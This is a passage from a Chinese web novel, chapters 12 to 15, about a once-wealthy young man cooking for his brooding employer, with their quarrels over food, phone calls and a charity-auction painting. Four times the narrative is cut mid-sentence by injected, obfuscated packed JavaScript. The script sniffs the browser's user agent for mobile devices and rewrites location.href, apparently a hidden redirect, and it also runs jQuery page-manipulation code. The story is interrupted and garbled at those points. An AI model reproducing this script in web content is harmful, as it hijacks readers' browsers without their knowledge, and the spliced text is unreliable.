蒲沧来到餐厅时,桌上摆着燕麦坚果牛奶,一截煮玉米、一枚紫薯一枚土豆,还有两个水煮蛋、一盘水煮虾、一盆水煮青菜。 水煮虾和水煮青菜旁边,放着一碟料汁。不知道都有什么调料,看上去很浓郁的褐色,上面还飘着一层姜末。 早饭看上去很敷衍,给他做早饭的人并不在餐厅。蒲沧去厨房看,厨房也没有。 眉头紧蹙,他转头要往外走,看到穿着小西装从衣帽间走过来的人。 宴明舒早上做完饭,决定去换一件衣服,在上次从蒲沧衣帽间拿来的那些衣服里挑了半天,没找到合适的。他在餐厅等了会儿,没等到蒲沧,试探着给蒲沧发信息询问,蒲沧也没回。他就非常不把自己当外人的自己去衣帽间找自己想要的衣服了。 于是就发现很诡谲的一件事。 那天蒲沧带他去衣帽间时,打开让他自己挑选的衣柜,里面的衣服都是他的尺寸。其他衣柜里的衣服,都是比他大一码的尺寸,至于挂满西装的那个衣柜,应该都是按照蒲沧的尺寸定制的,很瘦贴合身形,肩膀却又很宽。他没穿,拿着在自己身上估量了一下,扼腕。 蒲沧这倒三角的天选好身材,怎么瘦成这样?多吃一些长点肉,身材得多好。 抱着这样的感慨,他把衣帽间大致翻翻,成功找出自己想要的衣服,一点不见外的拿到自己房间,换上。 是件深灰色青果领西装,还打了领结。 宴明舒脚步轻快走过来,越过餐桌,走到钢琴前,朝唯一的听众蒲沧鞠躬致礼。随后坐到琴凳上,正式开始演奏。 宴明舒都记不得自己是几岁开始学琴了,从有记忆开始,就跟着妈妈弹琴。从开蒙,到后来妈妈去世他接着学琴,用的都是妈妈的琴,从妈妈少女时代就开始用的佩卓夫。 而现在这台,和他家里那台完全一样的型号。 宴明舒不知道蒲沧到底是多神通广大,才能找到这台琴。也不知道蒲沧到底是什么时候找到的这台琴,背后又意味着什么。 他也不太想深想这些事,毕竟想来想去,都觉得蒲沧这个人很有病。 所以只专注于手指间的演奏。 佩卓夫的音色干净清亮,曲调如流水般从指尖琴键上冉冉流出。 一曲演奏结束,宴明舒起身,再次鞠躬示意。 蒲沧还站在餐桌前,慢半拍的鼓掌。 宴明舒矜持抬手,打断他的鼓掌,解开领结放到钢琴上,一边解西装纽扣,一边走到餐桌前,迟来的通知蒲沧:“我去你衣帽间拿了衣服。” 他自己都觉得理直气壮得有点难过,补充,“早上给你发消息问,你没回。” 蒲沧毫不在意,只是目光还没完全收回来,悠长得看着宴明舒,直到对上他写着询问的眼睛,这才轻轻颔首表示已知。 宴明舒坐下:“吃饭吧。” 蒲沧跟着坐下,看宴明舒已经开始吃饭,也用叉子叉颗水煮虾仁,沾调料,送到嘴里。 他咽下这颗虾仁,眉头微皱。 宴明舒没注意到他的表情变化,吃了口饭,心情依旧美滋滋的,问:“还不错吧?我学了二十多年呢,从有记忆开始就跟着我妈学。” 蒲沧颔首:“嗯。” “我古琴也弹得特别好,继承我妈的天赋,这些乐器一上手就会。” 就是不知道为什么,没继承他爸的厨艺天赋,把菜做成这个鬼样子。 蒲沧看着不知为何突然叹气的人,转移话题:“两百块钢琴钱现在给你吗?” 宴明舒:“……” 他确实把注意力从自己做的难吃饭上转移开来,余光看着旁边的那台琴,矜贵抬头,用施舍的语气说,“免了,就当是我日常练琴,大发慈悲让你听一听。” 还大发慈悲。 蒲沧冷笑一声。 宴明舒:“笑什么笑,还不快谢恩。” 蒲沧并不配合,接着吃饭。 宴明舒等了会儿没等到他的感激,反而发现他在吃纯水煮菜,忍不住说:“那不是有料汁吗?蘸着吃味道会更好。” 蒲沧表情不是很好。 宴明舒追问:“干嘛不吃?” “这是阿姨调的料汁。” 蒲沧原本没打算说,结果宴明舒主动提起了。他没看料汁,也没有质问,就只是看着宴明舒,用确定的语气说出不吃的理由。 宴明舒看了眼那碟蒲沧尝了一口后就再也没动过的料汁,无言以对。 就是阿姨做的。 ——他记挂着那台钢琴,做饭的心思也没了,仗着不管做什么蒲沧都吃,而且食材都是最顶尖的,食物本味就很好吃,敷衍的用清水把食材煮了一遍。王婆看不下去他这么敷衍,调了个料汁。调完宴明舒先尝尝,从他的口味看来,生抽少一点,多放着芥末酱油会更好。总体说来味道不错,能给食材增添更多味道,就抱着反正王婆都调好了的想法,还是呈上桌了。 没想到反而给蒲沧抓到把柄。 他问:“料汁也不行?” “不行。” 就像他宣布大发慈悲把钢琴曲免费给蒲沧听一样,蒲沧宣布:“再有下一次,一顿饭扣一千。” 宴明舒:“……” 他深吸一口气,忍无可忍伸手:“把我弹琴的两百块给我。” 蒲沧摸出手机,发两百块红包给他。 宴明舒收红包,拿起装满料汁的碟子,转手把料汁放到自己面前,告诉蒲沧:“刚刚上菜放错了,这是我的料碟。” “你的饭就是那些水煮一切,全是我一个人做的。” 他强调:“不许扣我的钱。” 蒲沧低头吃饭。 宴明舒不高兴:“听到了没有?” “听到了。” “不许扣我的钱。” “嗯。” 蒲沧重复,“不扣。” 宴明舒这才彻底放心,接着吃饭。吃完饭他就回房间,换掉贴身优雅但不利于活动的小西装。 脱掉衬衣后才想到,自己刚刚为吃饭更方便,顺手把领结摘掉放到钢琴上了。毕竟是从蒲沧衣帽间找的配饰,要拿回来洗干净重新放回原地。 他换上休闲套装,去餐厅寻找。餐桌上的碗碟还没被收拾走,原本应该在钢琴上的领结不见了踪影。 ? = 中午,就自己要吃的饭菜,宴明舒精心挑选,甚至教金姐王婆怎么做出更适合自己口味的饭菜。 而就蒲沧要吃的饭,宴明舒再次拿出鸡蛋和牛排。 最营养的食材只需要最朴素的烹饪方式。 他开火下油煎。 王婆在一边看着,总觉得火候太大好像要糊了,忍不住上前,告诉宴明舒:“明明,这个火是不是要小一点。” 宴明舒忙着切小番茄,抽不出身,匆忙看过来一眼,应:“我马上就调小。” 王婆担忧锅里的食材,伸手要帮他把火关上。宴明舒制止:“别动!” 他放下刀和小番茄,迈过去调整火候。 那边金姐看着被他半切半挤弄得稀巴烂的小番茄,操心的拿起刀,三两下把小番茄切成刚刚好的两半。 宴明舒调整完火候,一回头发现被切好的小番茄,叹气:“姐,以后不用太担心我。” 你们帮助我太多,蒲沧会扣我工资的! 他只好又亲力亲为洗了番茄,切开放到锅里煎。 成功获得煎掉的牛排,煎得稀烂的小番茄,还有不知道熟了没有的芦笋。 在王婆朴素的逻辑里,拿钱就要好好做饭,这种饭是不能拿上去给雇主吃的。 宴明舒就是把这些东西放到了餐盒里装起来,送到了公司。一小时后再回来时,餐盒里的食物被吃得干干净净。 晚上接着练习煎鸡腿肉。 宴明舒又被油崩了一下,并且再次拒绝金姐王婆的帮助。 绝望的王婆意识到宴明舒似乎完全没有征服厨房的天赋,也不需要她们的帮忙,默默掏出电饼铛,让宴明舒以后用电饼铛煎鸡蛋牛排这类需要煎制的食物。 宴明舒在王婆的指导下,插上电,往电饼铛里加上油,磕上鸡蛋,把盖子一盖—— 五分钟后,得到非常完美的一颗流心鸡蛋。 宴明舒完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258725|166497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶了,没想到这个厨具这么好用,当即尝试着煎更多东西。 这天晚上,蒲沧回到家,餐桌上放着不焦不糊、甚至还是心形的完美煎蛋,牛排也滋滋流油,刚刚好的熟度。 宴明舒站在餐桌前,满脸兴奋。 蒲沧没立即坐下,看着桌上的食物,表情逐渐冷淡。他的表情变动幅度很小,甚至可以说是不动声色的,但这个瞬间宴明舒不知道为什么就是看懂了。 赶在他说话前,宴明舒先开口:“我自己做的。” 蒲沧看他,眼里几分不信任。 所以刚刚果然是觉得这饭是阿姨帮自己做的,打算扣自己工资吧?! 宴明舒:“就是我自己做的,我得到件特别好用的厨具,如有神助。” 他沾沾自喜,“毕竟家学渊源在,我也是很会做饭的。” 蒲沧暂时接受了这个答案。 第二天,宴明舒给他呈上了一模一样的完美煎蛋和鸡腿肉、牛排。 第三天,宴明舒还学会用土豆丝做土豆饼。 电饼铛取代微波炉,成为他最得力的助手。 而蒲沧,也从土豆饼里没和开的面疙瘩、没拌匀的调料、薄厚不一的难看形状里,确定这就是宴明舒亲手做的。 和宴明舒一成不变,只能依靠单一厨具发挥出来的食物不同。在他的指导下,金姐王婆变着花样给他做好吃的。 早上最新空运来的走地鸡肉质鲜美,分出鸡腿鸡胸给蒲沧吃,剩下的就做椰子鸡,鲜甜美味。 蒲沧的牛排只能用电饼铛煎,他的牛肉根据不同品种不同部位,做灯影牛肉、东坡牛排、红酒烹炖…… 几天下来,被他指导着做出许多美味饭菜的金姐万分不解:“你这不是……很会做饭吗?” 宴明舒在给蒲沧做主食——连着吃了这么久的米饭面条,蒲沧没说什么,他都替蒲沧腻得慌。所以今天和面打算蒸一锅馒头出来。 他把硬邦邦的面团分开,上锅蒸。 王婆做得一手好面食,现在看着他把完全没发酵起来、也没有揉好的面团分成大小不一形状扭曲的样子,心里没办法接受,艰难忍住上手帮他的冲动,走远了。 金姐勉强留在原地,等到了宴明舒的回答。 “理论上我很会做饭。” 宴明舒打开蒸锅开关,确信,“仅限理论。” 理论上他知道和面前要用温水激活酵母,用高筋面粉和出来的面团更加劲道好吃,知道面粉呈蜂窝组织就是发酵好了,要把发酵好的面团反复揉,蒸出来的才会好吃。 实操上——非常完蛋。 等半小时,他那一锅丑陋的死面馒头蒸好了。 透过蒸汽蔓延的锅盖看过去还算不错,但一拿开锅盖,馒头完全瘪下去,像个小饼。 宴明舒拿出来时一个没夹稳,馒头掉在柜子上,发出“砰”的一声撞击声。 躲避在外的王婆吓一跳,连忙走过来,问:“橱柜塌了?” 一看,厨房里没有任何问题,只有金姐连连给她使眼色。 王婆没看懂,茫然:“我刚刚怎么听到砖头声?” 宴明舒:“……” 他假装没听到,把馒头拿出来,再带上炒好的配菜,出发去送饭。 到了公司打开餐盒一看,才发现过了这么一会儿,馒头彻底凉下来,硬度升级,真成砖头了。 蒲沧已经看到了,这时候再藏也没意义,宴明舒索性放下,说:“馒头有点硬,你不想吃可以先吃我的馒头。” 他的馒头是王婆做的粗粮馒头。全麦面粉,加南瓜、小米,用牛奶和面,喧软好吃。 蒲沧看了一下他柔软的牛奶馒头,低头用刀叉把自己石头一样硬的馒头分成小块,用番茄炒蛋的汤汁泡软,往嘴里送。 宴明舒估摸着他吃得还算满意,轻咳一声,铺垫:“味道怎么样?” 蒲沧:“难吃。” 宴明舒兴致勃勃的表情瞬间消失,冷淡嫌弃的看着对面吃难吃饭的蒲沧:“难吃还吃?” 蒲沧没说话,接着吃饭。 难吃。 喜欢。 13. 第 13 章 因为蒲沧说自己做的饭难吃,宴明舒一顿饭都没和他好好说话。 来时还想着和蒲沧商量一下提前预支薪水,被蒲沧这么一气,正事都给忘到九霄云外了。就连回去的路上都还有点气——蒲沧这个神经病,非要做这么矛盾的事吗?要恨自己,就应该和刘敞一样落井下石嘲笑自己的处境啊。要真觉得自己做饭难吃,就应该和自己一样硬气,一口都不吃啊。说着恨自己,实际上给自己高薪工作还给自己请做饭阿姨。说着自己做饭难吃,也没见他少吃一口。 宴明舒照例劝自己,蒲沧多有病都是蒲沧自己的事,和自己没什么关系,不用在意他。 对,不用在意他,他爱怎么样就怎么样。 …… 不对啊!蒲沧实在是太有病了。有病得让他都忘了自己一贯的豁达,控制不住随着他不符合常理的行为产生情绪起伏。就比如此刻,他就为了蒲沧一句和行为完全不符的“难吃”评价,耿耿于怀。 他到底想干嘛啊?! 宴明舒不理解。 一直到家里,还有点气。 他也不知道自己现在到底是气蒲沧说自己做饭难吃,还是气蒲沧的矛盾行为。只是分辨出来了——是因为蒲沧。 他停下车,摸出手机给蒲沧打电话。 蒲沧很快接了,冷淡微哑的声音夹杂着微弱电流声,那种无机质的感觉更重了,仿佛是个没有感情的客服AI。 客服AI问:“什么事?” ——还是那种会因为没有情绪而被投诉的劣质AI! 宴明舒言简意赅:“给我道歉。” 客服AI缓两秒,转人工。 声音还是带着电流的无机质感,但语气生动许多,蒲沧问:“为什么?” 宴明舒:“不许你说我做饭难吃。” 蒲沧半晌没说话。 宴明舒都要以为他在内疚,在反思自己的过错。 没想到蒲沧又开口:“本来就很难吃。” 宴明舒的小火苗蹭一下又窜老高。他忍耐:“我当然知道,但你觉得难吃,就自己在心里想想好了,不要在我面前说出来。你不说谁管你。” “你先问的。” 蒲沧一板一眼回答,“你管我。” 宴明舒一想,还真是这样的。 …… 他嘟囔:“那我以后不管你了。” 说完,挂掉电话下车,回到自己房间,换衣服时,电话又响了。 他接起来。 没有感情很容易被投诉的客服AI说:“对不起。” 宴明舒愣了一下。 电话那头,蒲沧说:“别不管我。” = 午睡醒来,宴明舒摸出手机看了眼,发现两个未接来电,而他和蒲沧的电话……还在进行中。 本来也没说些什么东西,蒲沧道歉之后,他觉得蒲沧实在是太有病了,但他自己也跟有病一样,很快原谅蒲沧,还通着电话和蒲沧随便说话。 说着说着就睡过去,连电话都忘挂断了。 现在看着还在通话中的电话,宴明舒试图思考自己为什么会做出这种事。 想不到。 他简单粗暴理解为,是对病人的怜悯。 倒是给他打电话的王颛,打两个电话都是对方正在通话中,给他发消息调侃:“和谁打电话呢,都一个多小时,怎么还在说?” 宴明舒回过神,挂掉和蒲沧的电话,给王颛拨过去。 他十八岁被爷爷送去山区支教,过了半个月和过往截然不同的生活,被回国后的爸爸带回来后,倒是开始忆苦思甜,想给山区小孩做点事。他爸很支持他,联合其他几家餐厅设了个给山区小孩捐营养早餐的公益项目。王颛就是项目总负责人。 从十八岁公益项目创建开始,宴明舒每月都会捐钱过去,和王颛的联系也就一直没断过。两人关系不错,平时交流并不多,现在打电话过来多半是正事。 王颛倒是很快就接了,打趣:“终于舍得挂掉电话了?行啊你,不仅不接电话,连信息都不回。” “睡着了。” 王颛更惊讶了,语气里都是对八卦的向往:“睡着了怎么还在打电话?” 宴明舒:“……” 为什么啊?他也想知道。 他说,“说正事。” “没什么,就是受捐儿童写信给你,我去你家给你,怎么没见着你啊,就连叔叔也不在。” 宴明舒心情上上下下,一时感动,一时又想到家里那些破事,叹:“他们怎么还让你进家,我都进不去呢。” “怎么了?前段时间不是说叔叔已经好了吗,又出问题了?” “没完全好,是脱离生命危险,完全好起来还得看缘分,医生说他做不到,帮我打听更厉害的医生。我爸现在还在医院住着呢,我爷爷和大伯趁虚而入,把我赶出家门。” 王颛先和他一起吐槽爷爷大伯的恶劣行为,又担心:“你怎么不早说,那你现在有地方住吗?没有的话先来我家里住着。” 刚被赶出家门时宴明舒确实想过王颛。毕竟王颛一月三十天,十天住在公司,剩下的二十天奔波在外,斥巨资买来的大平层放着落灰都没人住。 不过没找王颛,先遇到刘敞,又阴差阳错被蒲沧挖来了。 现在面对王颛的询问,想到不用做饭的光明未来,他短暂心动,还是拒绝:“不用,我找了份包吃住的工作,现在也挺好的。” 中午还试图和蒲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一开始在听到五十万工资时,只觉得这个工资就是普通的整数。但是在得知金姐王婆的工资后,就觉得有点太巧合了。除去自己的每月必要支出,五十万剩下的六万四。刚好是金姐王婆两人的工资。 宴明舒甚至微妙的觉得——蒲沧给自己预留的工资就是这六万四,剩下的四十多万,就是为了涵盖自己所有需求。 王颛还等着宴明舒的回答呢:“在哪儿呢,正好我现在有空,去接你。” 就听到宴明舒拒绝:“不去,我接着当我的厨子。” “诶,怎么又不来了?是那个老板比我更和蔼可亲?” 宴明舒当即否认:“不。” “他特别不识好歹。” 14. 第 14 章 王颛还是来了一趟,给宴明舒送小朋友写的感谢信。他刚从外面回来,车上脏兮兮的,也就没进去,在别墅门口和宴明舒会面。 从知道宴明舒月薪五十万之后,就知道他的老板一定是个财大气粗的主,到了之后才知道原来宴明舒口中有病的老板是蒲沧。 王颛完全震惊了:“你怎么认识他的?” 宴明舒看着被包得五彩缤纷的信件,心情不错,现在提起蒲沧,语气也好不少:“我也想知道。” “他应该也不缺给他做饭的人啊,出去喊一嗓子,多得是人给他当厨子。” 宴明舒点头:“对,但他找了我,而且特地请了给我做饭的阿姨。” 他竖起手指,补充,“两个。” 王颛的眼神逐渐变得敬佩,他掏根烟点上,怂恿:“虽然不知道你和他之间有什么过去,但现在近水楼台,你可以拉一点他的捐赠。能每月开五十万请你做饭的人,应该不吝啬每月开五十万给山村小孩补营养吧?” 蒲沧自己的钱,宴明舒不好替他做决定,随口说:“这我哪儿知道,你不知道他瘦成什么样,自己都不吃饭,差点要把自己养死。” “他不吃饭真不是因为你做饭难吃的缘故?” 宴明舒指马路:“滚蛋。” 王颛笑笑,把烟踩灭,走了。 给车转个弯,又停到宴明舒面前,说:“叔叔的病我帮你打探一下。你现在缺钱的话,这个月就不用捐了。” 宴明舒:“我问问我老板能不能提前预支薪水。” 王颛又开始笑:“怎么跟找家主预支零花钱一样。” 宴明舒想踢王颛的轮胎,看着轮胎上的泥,又嫌弃的收回脚:“赶紧滚。” 目送王颛离开,宴明舒拿着书信回到自己房间,开始翻阅。 他十八岁去山区支教时,小孩已经不缺饭吃了。国家有营养餐的补贴,山村小孩也能免费吃上午饭。不过补贴一层层分发下去,真正落实到校园里每个小孩头上,可能就是一些发芽土豆、蔫巴青菜、不知道放多少年的冷冻肉做出的难吃饭菜。小孩也分不清好坏,不用赶崎岖山路回家,在学校就有免费饭菜吃就已经足够高兴。还有真正贫困又懂事的小孩会节省出饭菜,拿回家给家里人吃。 当时的宴明舒完全没办法接受,他吃惯了精心制作出来的饭菜,刚到学校看到这样的饭菜,再看看厨房的脏乱差环境,偏头就吐了。 那半个月过得乱七八糟的。 后来被接回来,就开始做公益。 现在又是九年过去,有国家扶贫政策,再加上当地人自己卖农作物、外出打工赚到钱,小孩更是不缺饭吃,他们公益项目的主题也从让小孩吃好,变成给小孩补营养。王颛比他更操心,几个月前还和他说现在的小孩营养跟上个子长得飞快,都只能穿哥哥姐姐淘汰的旧衣服,想再拉点钱给小孩做新衣服穿。宴明舒本来打算跟着一起去,爸爸突然住院,也就抽不出时间。 总之,现在送到他手里的感谢信也不是苦大仇深的表达恩情,而是小孩子省下来零花钱,在校门口买上好看信纸,画上涂鸦随便说些心里话,有些胆子大的还会许愿说想吃黄油曲奇。 宴明舒内心充满感慨,还有种晒太阳的柔软温暖,拍照发给王颛,让他下次记得买一些送过去。 正一一翻看信件呢,手机又响了。 以为是王颛,宴明舒接起来就问:“又怎么了?” 对面有两秒没说话。 这下都不用看屏幕,宴明舒就知道对面是谁了。 他转变语气,问:“怎么了?” 看看时间,才发现现在已经五点了,于是紧急补充:“我正在做饭,你要点菜吗?” 蒲沧语气冰冷:“临时有应酬,晚上不回去吃了。” 宴明舒故作可惜:“啊,怎么这样,我都已经开始做了。” 蒲沧:“那你送过来?” 宴明舒:“……” “你不是有应酬要在外面吃吗?要不我给你推家我特别喜欢的餐厅……” 蒲沧一针见血:“你根本没有开始做。” 宴明舒把信放到一边,改正:“我正准备开始做,但你要在外面吃,就不做了。” 蒲沧轻声说了句什么。 宴明舒没太听清,追问:“说的什么?” 蒲沧没回答,但也没挂电话。 宴明舒莫名有种预感,也没挂断,拿着手机往厨房走,时刻注意手机里的动静。 果然,蒲沧很快就又开口询问:“刚刚在和谁打电话?” 宴明舒强忍住笑意,尽量用无所谓的敷衍语气:“朋友。” 蒲沧又不说话了。 宴明舒捂住听筒,自顾自乐了会儿。 蒲沧又问:“中午为什么挂电话?” 中午…… 那时候手机对面没声音,他以为蒲沧也不知道电话还在通话中,才那么干脆就挂了。原来他是知道的? 宴明舒:“我没听到声音,而且本来都没什么事,打那么久干嘛。” 听筒里传来“嘟”声。 蒲沧把电话挂了。 宴明舒又笑了会儿 ,这才去厨房。 金姐和王婆已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258727|166497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经在做饭了,宴明舒中午点的菜,要吃椰子鸡,两个人忙得正起劲。 宴明舒掏出自己的电饼铛,随口和金姐聊天:“姐,蒲沧又让你们来的时候,是几点和你们说的啊?” 金姐都没有思考,马上回答:“是助理打电话来的,我记得是早上九点。因为助理和我们谈好了待遇,让我们当天就上工,我们住的地方离这里正好两小时路程,接到电话就赶过来,中午就开始做饭了。” 九点。 宴明舒回想那天的时间线,基本上就是自己刚吃了他做的早饭,说他做的饭也不好吃。他嘴上说着让自己饿着,实际上出门就让助理打电话请阿姨。 就很…… 有病。 = 煮了锅长得像水泥的皮蛋瘦肉粥,生菜丝、虾仁、鸡蛋、面粉搅和一起摊成饼。把这些装盒给蒲沧送去公司时,迎面看到蒲沧的助理回来了。 宴明舒问:“蒲先生今天不是应酬吗?” 助理说:“是有应酬,蒲先生让我来拿一件礼物送给对方。” 他经常来这里,但活动范围就只在客厅,对这栋大别墅并不熟悉,所以询问宴明舒:“衣帽间旁边的储物室,是这边吗?” 宴明舒放下餐盒,带他走过去,推开储物间的门:“应该是这间。” 他也是第一次来这里,推开门愣了一下。这里摆着好几台装着玻璃的百宝柜,上面摆满各种一看就非常珍贵的藏品。 “斗彩葫芦瓶。” 助理仔细寻找。找了会儿,蹙眉,“也没有啊,是不是蒲总记错了。” 他退出去,打电话给蒲沧确认。 宴明舒看他的背影,进去帮忙寻找,一低头,注意到最下面一层排放整齐的拍卖会目录——拍卖会开始前,都会把此次拍卖的藏品照片和详细介绍制订成册,分发给参与拍卖者。 他扫一眼,接着去找葫芦瓶,目光移开后,又察觉到什么,蹙眉回头,蹲下抽出其中一份名录。 正是三个月前,有他画作的公益拍卖会。 那场拍卖会是王颛组织的,所有拍卖所得都用于公益。拍卖会上他那幅画也是特地联系当时的藏家,打算拍下来自己收藏。结果当天有个专业代拍,一直在和他抢,最后干脆加到五十万。 他爸那会儿还没出事,他手里有钱跟着叫价,还想跟着拍,被王颛拦住了。 王颛的理由是,他的钱想捐就捐不需要什么理由,但让这人拍走了,那拍卖所得就多了五十万。 宴明舒没再竞价,事后想想很是遗憾。 蒲沧也在那场拍卖会上? 15. 第 15 章 助理打电话试图询问详细位置,蒲沧家大业大,还记得自己有这么个葫芦瓶已经算是难得,详细位置是真不知道。 没得到答案,助理只好再重新仔细寻找。 他进去时,宴明舒也正在努力寻找,连墙壁上都一寸寸看过去。 瓷瓶怎么会在墙壁上呢,净做无用功。 助理这样想着,也没再管宴明舒,接着寻找。 这次找到了。 他小心翼翼拿出瓷瓶,告诉宴明舒:“找到了。” 宴明舒也把屋子整个扫了一遍,收回视线,喃喃:“没找到啊。” 助理没听到他在说什么,求助:“能帮我拿一下礼盒吗?” 宴明舒放下曲曲绕绕的小心思,走过去帮忙拿出礼盒,把葫芦瓶装好,跟着助理去公司。 路上助理开车,宴明舒拎着餐盒,询问:“什么时候去应酬,应该还来得及吃顿饭吧?” 助理下意识想说蒲沧不一定会吃,开口前想到上次应酬,被蒲沧微波炉加热后吃掉的诡异食物。 现在宴明舒工作半个月,他多多少少也能看出宴明舒的做饭实力,自然也能猜出来,那天蒲沧吃的东西就是宴明舒的手笔。 于是他说:“八点,来得及。” = 办公室的门被敲响,半分钟后助理的声音响起:“蒲总,葫芦瓶拿来了,给您放在这里。” 助理把礼盒放在桌上,悄悄退出去。 蒲沧全程头也没抬。 直到另一个声音响起:“别看了,先吃饭。” 好像上课不专心而被老师点名的学生,蒲沧条件反射的抬头看过去,正对上宴明舒的眼睛。 宴明舒站在桌前,桌子上放着打开的餐盒。 放下看到一半的文件,蒲沧走过去:“你的饭呢?” “今天吃椰子鸡火锅,很难带就没拿,回去再吃。” 蒲沧站在原地,表情冷淡。 宴明舒:“快来吧,我看着你吃还不行吗?” 蒲沧这才又迈步往前走。 身体非常诚实,嘴上还不阴不阳的:“不是说不做了吗。” 宴明舒:“我很热爱工作的,你打电话来的时候就做到一半了。” 蒲沧冷笑:“你明明在和别人打电话。” 宴明舒坐下,托腮看着他,欣赏够他紧绷的表情,才问:“所以呢,影响工作了吗。又没影响工作,你这么在意我和谁打电话干嘛?” 蒲沧的脸色彻底阴沉下去。 宴明舒:“别这个表情看我,是给你做饭,又不是卖给你了。” 蒲沧移开视线不看他,脸色依旧很差。 宴明舒强压下笑意,得寸进尺:“笑一个。” 蒲沧当然没笑,拿起勺子开始吃饭。 吃了两口,又抬头看宴明舒,似乎想说什么。 宴明舒:“看什么看,笑一个。” 蒲沧就又低头吃饭。 宴明舒看他始终紧绷的侧脸,再也忍不住笑意。 蒲沧身上的漏洞多得都像筛子,他还是想多戳出来几个洞。 所以他解释:“我一直在做一个公益项目,给山区小孩送营养早餐,我每月都给捐九万二过去,这个传统已经持续九年了。中午是项目负责人打电话过来,我以为有正事,再加上你这边也没声音,就把你的挂掉给他打过去了。” 听了解释,蒲沧的脸色一点都没好起来,反而更冷凝了。 宴明舒简单粗暴把他的冷凝当做要被秘密要被揭穿的害羞。 他接着说:“你应该知道,三个月前有一场公益拍卖会,我五十万的那幅画就是在那场拍卖会被拍走的。” “我在你家里发现了拍卖目录。” 低头吃饭的人动作不停,只太阳穴快速抽动,无声昭示着主人激烈动荡的内心。 宴明舒问:“你把那幅画藏到哪儿去了?那是我很早之前画的,也是我唯一一副人物画。” 是支教时教过的那群小孩,有一个让他印象特别深刻的,他花大功夫刻画。那幅画反响很好,很快就被送去画展展出,第一天就有人问能不能卖,很多人问了后就送拍卖,拍到了九万二。他转头把这笔钱捐给支教山区。倒也不是沽名钓誉,那段时间很多人来找他画画,但凡再画一些类似的人物画,操作一下,炒作不图名利热爱公益的人设,他大概也能成为什么绘画天才什么文艺新星。 但就是不想再画了,甚至后悔自己把那幅画放到人前,担心对贫困的刻画在某种程度上也是高高在上的怜悯,太多上流人士,包括他,其实并不了解贫困,看到别人的苦难,也只会事不关己的感慨底层人物面对困难时的积极乐观。他一直在想这算不算一种霸凌现象,实在很难定义,他索性也就不再画人物了,就算是画,也都是寻找模特,画完自己收藏。而拿到人前的画,都是风景。 没想到唯一流落在外的那幅人物画在蒲沧手里。 “我还挺想再看看的,拍卖会前拿来展览时,想着马上就自己拍回来放家里收藏,都没仔细看,没想到就被你给拍走了。” 蒲沧终于开口:“你怎么确定是我拍的?” 他抬头看宴明舒,眼神冷淡,“所有藏品都在那间屋子里放着,没看到就是没有。我不知道什么拍卖会,更不知道什么公益项目。” “还有,不要随便进其他房间。” 没想到蒲沧会这么说,宴明舒的表情也僵住了。 不要随便进其他房间。 宴明舒当然知道,从住到这里的那天起,除了他自己的房间和厨房餐厅,他也就在草坪客厅等公共区域呆过。衣帽间是蒲沧带他去过,他才去了第二次的,而这次的储物间,是助理需要进去拿东西,他为了帮忙才进去的。 如果他只是一个普通的厨子,蒲沧只是一个普通的雇主,厨子随意进入雇主家储物室,甚至还来追问,雇主生气合情合理。 但蒲沧不是啊! 普通雇主不会对厨子说“别不管我”,不会打那么久的电话还在意到底为什么挂断,不会时刻报备会不会回家吃饭,不会在意厨子在和什么人打电话,更不会在厨子说反正晚上要在外面吃饭时轻声说“不想吃。” 他当然没什么理由可以确定就是蒲沧买了那幅画,只是蒲沧这个人完全漏洞百出,所以他非常确定——蒲沧喜欢自己,非常。 就是因为确定,所以完全没有分寸,会催促蒲沧一定要给自己答案,会追问自己的饭味道怎么样,会在看到那个拍卖名录时,第一反应就是觉得那幅画一定是被蒲沧拍走了。也才会追问,会做那么多不符合厨子身份的事情。 但蒲沧居然开始强调分寸感了?还是用这种态度? 一开始听蒲沧说恨自己,宴明舒都豁达又冷静的觉得这有什么,他不配让自己在意。 但现在蒲沧只是反驳了他的猜想并提出合理要求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258728|166497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他就觉得一股热血直直涌上头顶,说不出是愤懑、惊讶还是委屈,都被不可思议四个大字全部压下。宴明舒反而收敛了,回复:“好的,蒲总。” 蒲沧的脸色更难看了。 宴明舒没看他,盯着桌角神游天外。 